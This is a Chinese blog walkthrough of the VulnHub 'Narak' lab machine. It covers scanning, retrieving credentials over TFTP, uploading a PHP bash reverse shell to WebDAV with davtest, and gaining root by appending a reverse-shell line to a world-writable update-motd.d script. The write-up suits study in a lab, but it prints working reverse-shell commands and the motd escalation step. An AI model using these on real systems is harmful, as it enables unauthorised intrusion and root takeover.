掘金 阅读 ( ) • 2024-03-30 11:07

theme: smartblue

vulnhub:narak官方下载

难度:⭐⭐

前言

本系列第3台靶机精讲:narak,打破常规信息收集的思维定式,不论是对webdav的理解还是对motd提权的运用都可以让初学者对渗透的认知更上一层楼。

阅读此篇,你将认识除了nmap的另外2款性能强大的网络扫描器,并充分理解update-motd.d脚本的作用及其利用方式。

侦察

netdiscover&masscan

虽然nmap的应用频率和适用性很大,但对于其他网络扫描工具的理解和应用,我们也应该进行一定程度上的了解。

netdiscover是一款网络发现工具,主要用于发现局域网内的活跃主机

sudo netdiscover -r 10.10.10.0/24

使用netdiscover需要sudo权限;-r指定扫描范围,这里扫描整个C段

参考扫描结果:

Currently scanning: Finished!   |   Screen View: Unique Hosts                                                                                            
                                                                                                                                                          
 180 Captured ARP Req/Rep packets, from 4 hosts.   Total size: 10800                                                                                      
 _____________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
 -----------------------------------------------------------------------------
 10.10.10.1      00:50:56:c0:00:08    162    9720  VMware, Inc.                                                                                           
 10.10.10.2      00:50:56:f9:cd:83      6     360  VMware, Inc.                                                                                           
 10.10.10.129    00:0c:29:f8:16:43      7     420  VMware, Inc.                                                                                           
 10.10.10.254    00:50:56:ef:4a:8a      5     300  VMware, Inc.      

10.10.10.1为物理机私网IP,10.10.10.2为网关,10.10.10.129即为靶机IP,10.10.10.254是广播地址

端口扫描可以采用masscan,它可以非常快速地扫描IP以检测目标主机的哪些端口予以响应

sudo masscan 10.10.10.129 -p 1-10000

masscan同样需要sudo权限才能正常运行,基于时间和效率的综合考量,扫描前10000个端口即可

┌──(rainbowpigger㉿kali)-[~/narak]
└─$ sudo masscan 10.10.10.129 -p 1-10000
Starting masscan 1.3.2 (http://bit.ly/14GZzcT) at 2024-03-27 04:08:59 GMT
Initiating SYN Stealth Scan
Scanning 1 hosts [10000 ports/host]
Discovered open port 22/tcp on 10.10.10.129                                    nd=0       
Discovered open port 80/tcp on 10.10.10.129

主机开放有2个端口,分别是22和80

80端口信息收集

对于http的资源嗅探,首先访问主页,URL栏搜索靶机IP

narak首页.png

出现了很多张jpg格式的图片,图中只截取了页面末尾的信息。对于web主页的信息收集,需要细心观察,切忌焦躁,对内部的动态链接要不断尝试摸索,观察源代码或者站点标题HA:NARAK可能是一个http-title,在这台靶机中可能用处不大。另外,我们还应该考虑到图片的隐写,虽然图片隐写的优先级不高基本不会碰见,但在主路走不通的情况下仍具有尝试的价值。

值得一提的是,页脚出现了Hacking Articles的超链接,这个网站对于网络安全学习者的帮助起到了推波助澜的作用,其不仅涵盖了红队的基本技术,还执笔了大量靶机的awesome walkthrough(精选题解),并且其思路和方法和国内有所不同,值得一学。

主页没有得到有效信息,那就实行目录爆破

┌──(rainbowpigger㉿kali)-[~/narak]
└─$ sudo gobuster dir -u http://10.10.10.129 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x php,html,txt -q
/images               (Status: 301) [Size: 313] [--> http://10.10.10.129/images/]
/.html                (Status: 403) [Size: 277]
/index.html           (Status: 200) [Size: 2998]
/.php                 (Status: 403) [Size: 277]
/tips.txt             (Status: 200) [Size: 58]
/webdav               (Status: 401) [Size: 459]
/.html                (Status: 403) [Size: 277]
/.php                 (Status: 403) [Size: 277]
/server-status        (Status: 403) [Size: 277]

index.html应该就是刚才我们访问的主页,tips.txt是可以访问的,看名字估计有价值,webdav我们肯定能通过它拿到一些信息的,因为其本身的用途就是文件传输,难免发生一些信息泄露,但状态码为401表示我们先要拿到合理的凭据才能访问该页面。

先看tips.txt文件

tips.png

“可以在creds.txt中发现打开narak之门的线索。”

如果你有足够的思维宽度,或者拥有一定的打靶经验,那么对于creds.txt关键词的理解就不会简单的停留在文件名这一层面上。要知道。它仅仅是一串带了点的字符串,也就是说,只要是任何能通过字符串交互的地方都有可能用到这个关键词,例如URL的输入可以加上这个作为路径,那它是在网站根目录下?还是在二级目录下?又比如说凭据的输入是否可以加上这个作为密码?在/webdav/的授权登录中,由于我们没有可信的用户名候选名单,因此作为密码的概率较小,但作为一个文件名的概率是非常大的。经尝试,关于creds.txt所有的路径都是404。

这是narak靶机的一大难点,不知道各位当时做到这个位置的时候是怎么思考的,是重新进行目录枚举?还是对webdav进行表单爆破?我在这里提供一下我的思路,仅作参考:首先creds.txt肯定是作为一个文件名存在于系统内的,既然在web端访问不了,那就说明其存放的空间不在网站的目录结构之内,但问题是,我们不知道它还能在哪儿,这就说明我们对该系统的信息收集范围,尤其是对运行服务的枚举力度还不够大,即在最初的扫描阶段出现策略失误,可能漏掉了一些关键信息。

重返UDP端口嗅探

对于各种服务所依赖的端口,只有TCP和UDP两种,前者在之前扫描过,而后者即为我们所关注的对象

使用nmap进行top100的UDP端口扫描

┌──(rainbowpigger㉿kali)-[~/narak]
└─$ sudo nmap -sU --top-ports 100 10.10.10.129           
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-27 01:36 EDT
Nmap scan report for 10.10.10.129
Host is up (0.00056s latency).
Not shown: 98 closed udp ports (port-unreach)
PORT   STATE         SERVICE
68/udp open|filtered dhcpc
69/udp open|filtered tftp
MAC Address: 00:0C:29:F8:16:43 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 108.02 seconds

UDP本身是“无连接”协议,即没有明确的“开放”状态,这一点与TCP有所不同,因此69端口是可能开放的,尝试利用一下

┌──(rainbowpigger㉿kali)-[~/narak]
└─$ tftp 10.10.10.129
tftp> 

由于TFTP是基于UDP协议的,因此它不会像TCP协议那样建立明确的连接状态,因此,判断TFTP是否连接成功更多地依赖于观察命令响应、数据包交换和日志输出等方面的信息

使用get命令测试连接是否正常

┌──(rainbowpigger㉿kali)-[~/narak]
└─$ tftp 10.10.10.129
tftp> get creds.txt
tftp> 

没有显示Transfer timed out.说明命令被正确执行,即kali的当前目录下已经下载好creds.txt文件了

使用quit退出后查看creds.txt内容

┌──(rainbowpigger㉿kali)-[~/narak]
└─$ cat creds.txt 
eWFtZG9vdDpTd2FyZw==

根据字符特征可以判断出这是一串base64编码,使用kali自带的base64命令进行解码

┌──(rainbowpigger㉿kali)-[~/narak]
└─$ echo "`cat creds.txt`" | base64 -d
yamdoot:Swarg 

反引号里的内容会以执行的结果替换掉原命令,等价于echo "eWFtZG9vdDpTd2FyZw==";管道符会将前面语句的输出结果作为后面语句的输入,即把eWFtZG9vdDpTd2FyZw==进行base64的解码。得到凭据yamdoot:Swarg

有了账号密码,就要思考其可以用在哪些登录界面。譬如ssh登录、webdav的授权认证等界面都可以进行尝试,最终发现它可以用于访问/webdav/目录

webdav.png

一般来说,暴露出来的目录我们可以执行其中的文件,但这里没有任何文件。如果你不了解webdav这种基于http的文件传输与共享的网络协议,可能会认为这就是一个普通的文件夹名称。在此处,webdav是一个专有名词,我们可以通过在上一篇靶机精讲中提到过的searchsploit进行公开漏洞利用,也可以使用专门针对webdav的davtest测试工具。

davtest为例

davtest -url http://10.10.10.129/webdav -auth yamdoot:Swarg -uploadfile shell.php -uploadloc /

使用davtest命令建议先通过davtest -h查看一下教程。反弹shell的方式很多,上述命令仅仅是通过自建shell.php上传并点击执行来实现的;-auth给出授权凭据;-uploadfile选择我们要上传的文件,此处我们写入的是经典的一句话bash反弹语句<?php exec('/bin/bash -c "bash -i >& /dev/tcp/10.10.10.128/1000 0>&1"');?>-uploadloc指定上传的路径,即相对于webdav的根目录,此选项需和-uploadfile成对出现。

执行成功时结果如下:

┌──(rainbowpigger㉿kali)-[~/narak]
└─$ davtest -url http://10.10.10.129/webdav -auth yamdoot:Swarg -uploadfile shell.php -uploadloc /
********************************************************
 Testing DAV connection
OPEN            SUCCEED:                http://10.10.10.129/webdav
********************************************************
 unless  Uploading file
Upload succeeded: http://10.10.10.129/webdav//

此时访问/webdav/目录,就会出现一个shell.php文件。在点击其执行之前,先确保kali中已启用nc监听

┌──(rainbowpigger㉿kali)-[~/narak]
└─$ nc -lvp 1000  
listening on [any] 1000 ...
10.10.10.129: inverse host lookup failed: Unknown host
connect to [10.10.10.128] from (UNKNOWN) [10.10.10.129] 44738
bash: cannot set terminal process group (653): Inappropriate ioctl for device
bash: no job control in this shell
www-data@ubuntu:/var/www/webdav$ 

连接信息我们简单解析一下:Inverse Host Lookup Failed表示解析靶机的主机名失败了,这条信息影响不大;Cannot Set Terminal Process Group & No Job Control in This Shell表示终端功能不完整,也就是shell的交互性不友好,这点可以通过引入python的pty模块解决。

枚举

鉴于上述分析中提到shell的不完善功能,在枚举之前先进行shell的修复

python3 -c 'import pty;pty.spawn("/bin/bash")'

python命令中的-c选项表示执行后面的python代码字符串,通过引入pty模块中的spawn()函数来启动一个新的bashshell,以提高终端交互性。

进行基本的用户信息检查

www-data@ubuntu:/var/www/webdav$ whoami
whoami
www-data
www-data@ubuntu:/var/www/webdav$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

然后进行系统状态信息检查

www-data@ubuntu:/var/www/webdav$ cat /proc/version
cat /proc/version
Linux version 4.15.0-20-generic (buildd@lgw01-amd64-039) (gcc version 7.3.0 (Ubuntu 7.3.0-16ubuntu3)) #21-Ubuntu SMP Tue Apr 24 06:16:15 UTC 2018

查看其他用户

www-data@ubuntu:/var/www/webdav$ cat /etc/passwd | grep home | grep bash 
cat /etc/passwd | grep home | grep bash
narak:x:1000:1000:narak,,,:/home/narak:/bin/bash
yamdoot:x:1001:1001:,,,:/home/yamdoot:/bin/bash
inferno:x:1002:1002:,,,:/home/inferno:/bin/bash

接下来可以尝试sudo -l,但由于我们是通过反弹shell进入系统的,没有密码,因此大概率无法看到其内容;也可以尝试cat /etc/crontab,或者cat /var/spool/cron/crontabs,系统提示权限不足。到这里为止,之前的提权方式就不管用了,从权限体系的角度出发,我们需要查找当前用户所拥有一定权限的文件,包括但不限于可写(w)、root身份执行(s)以及用户家目录下的非常规文件。

find / -writable -type f 2>/dev/null | grep -v proc | grep -v sys | grep -v var

find命令处于linux命令的第一梯队,运用十分广泛。-writable指定查找可修改文件;-type指定查找类型为f(普通文件);由于结果很多,其中大部分都是系统文件没有利用意义,因此用grep -v进行反向筛选。procsys在大多数查询限定条件中都可以排除掉,var由于包含网站根目录,因此是否要将其排除需要视情况而定,这些细节会在后续靶机精讲中逐步提及。

参考结果:

www-data@ubuntu:/var/www/webdav$ find / -writable -type f 2>/dev/null | grep -v proc | grep -v sys | grep -v var
<dev/null | grep -v proc | grep -v sys | grep -v var
/mnt/hell.sh
/etc/update-motd.d/91-release-upgrade
/etc/update-motd.d/00-header
/etc/update-motd.d/50-motd-news
/etc/update-motd.d/80-esm
/etc/update-motd.d/80-livepatch
/etc/update-motd.d/10-help-text
/etc/apache2/users.password

可以看到,/mnt/下有一个非常规文件hell.sh,在boot2root类型的靶机中,类似的非常规文件一定包含有价值的信息;再往下看,/etc/update-motd.d/下有一系列可写文件,这些统统都可以使用低权限修改,高权限执行的提权思维,这一点B站上的红队笔记已经解释得十分清楚,在此我就不再赘述。

首先查看hell.sh文件

www-data@ubuntu:/var/www/webdav$ cat /mnt/hell.sh
cat /mnt/hell.sh
#!/bin/bash

echo"Highway to Hell";
--[----->+<]>---.+++++.+.+++++++++++.--.+++[->+++<]>++.++++++.--[--->+<]>--.-----.++++.

如果你不知道这是什么编码,可以把它扔给谷歌或者AI进行判断,基本都能提示出这是brainfuck编码格式。使用brainfuck解码工具可以得到一个字符串chitragupt,不难想到这或许是某个用户的密码。

先尝试一下su - root,如果不行,再尝试登录其他用户

www-data@ubuntu:/var/www/webdav$ su - root
su - root
Password: chitragupt

su: Authentication failure
www-data@ubuntu:/var/www/webdav$ su - inferno
su - inferno
Password: chitragupt

inferno@ubuntu:~$

成功切换为inferno用户,由于用户权限提高了,因此可以重新使用find / -writable -type f 2>/dev/null | grep -v proc | grep -v sys | grep -v var看一下是否存在其他可利用文件。在结果中,update-motd.d目录仍然存在,这就为我们的提权提供了可能。

update-motd.d是linux系统中比较常见的一个脚本目录,每当有用户通过 SSH 或其他终端服务登录系统时,这些脚本会被执行,并将它们的输出显示在登录消息中。在本台靶机中:

inferno@ubuntu:~$ cd /etc/update-motd.d;ls -lah
cd /etc/update-motd.d;ls -lah
total 36K
drwxrwxrwx  2 root root 4.0K Sep 21  2020 .
drwxr-xr-x 80 root root 4.0K Sep 22  2020 ..
-rwxrwxrwx  1 root root 1.2K Apr  9  2018 00-header
-rwxrwxrwx  1 root root 1.2K Apr  9  2018 10-help-text
-rwxrwxrwx  1 root root 4.2K Apr  9  2018 50-motd-news
-rwxrwxrwx  1 root root  604 Mar 21  2018 80-esm
-rwxrwxrwx  1 root root 3.0K Mar 21  2018 80-livepatch
-rwxrwxrwx  1 root root  299 May 18  2017 91-release-upgrade

文件名的数字表示他们的执行顺序,00-header脚本会被最先执行,表示通用的欢迎信息

因此,在任何一个脚本里插入bash的反弹语句都可以达到提权效果,这和前面几台靶机精讲的提权逻辑如出一辙,如果你还未对此提权思维具有透彻理解,可移步至甄选靶机精讲系列(一)——Jarbas:你对Jenkins了解多少?进行学习。

10-help-text为例

inferno@ubuntu:/etc/update-motd.d$ echo "bash -c 'bash -i >& /dev/tcp/10.10.10.128/999 0>&1'" >> 10-help-text
<>& /dev/tcp/10.10.10.128/999 0>&1'" >> 10-help-text

追加写入成功后,exit退出终端,然后使用ssh [email protected]进行远程登录,这个过程就会调用update-motd.d目录下的所有脚本,并且执行权限为root。在确保kali中启用nc -lvp 999监听后,执行登陆操作。

当kali中出现如下响应即说明提权成功:

┌──(rainbowpigger㉿kali)-[~/narak]
└─$ nc -lvp 999 
listening on [any] 999 ...
10.10.10.129: inverse host lookup failed: Unknown host
connect to [10.10.10.128] from (UNKNOWN) [10.10.10.129] 43328
bash: cannot set terminal process group (2551): Inappropriate ioctl for device
bash: no job control in this shell
root@ubuntu:/# 

结语

在最终的提权阶段,我们采用的是反弹shell的方式来获取root权限的,但在日后的打靶过程中,这种方法不一定奏效,实际情况可能会受到waf的干扰或者其他限制,因此我们往往会使用一些基于当前用户权限提高的手段,包括但不限于修改sudoers文件权限、添加root权限用户等方式。类似的提权策略我们会在后续的靶机精讲中逐步讲解。

如果各位读者有任何与本台靶机相关的疑问或者有更好的见解,欢迎随时在评论区留言,我将竭诚回复!

系列精彩文章

# 甄选靶机精讲系列(一)——Jarbas:你对Jenkins了解多少?

# 甄选靶机精讲系列(二)——sar:史上最简洁朴素的攻击链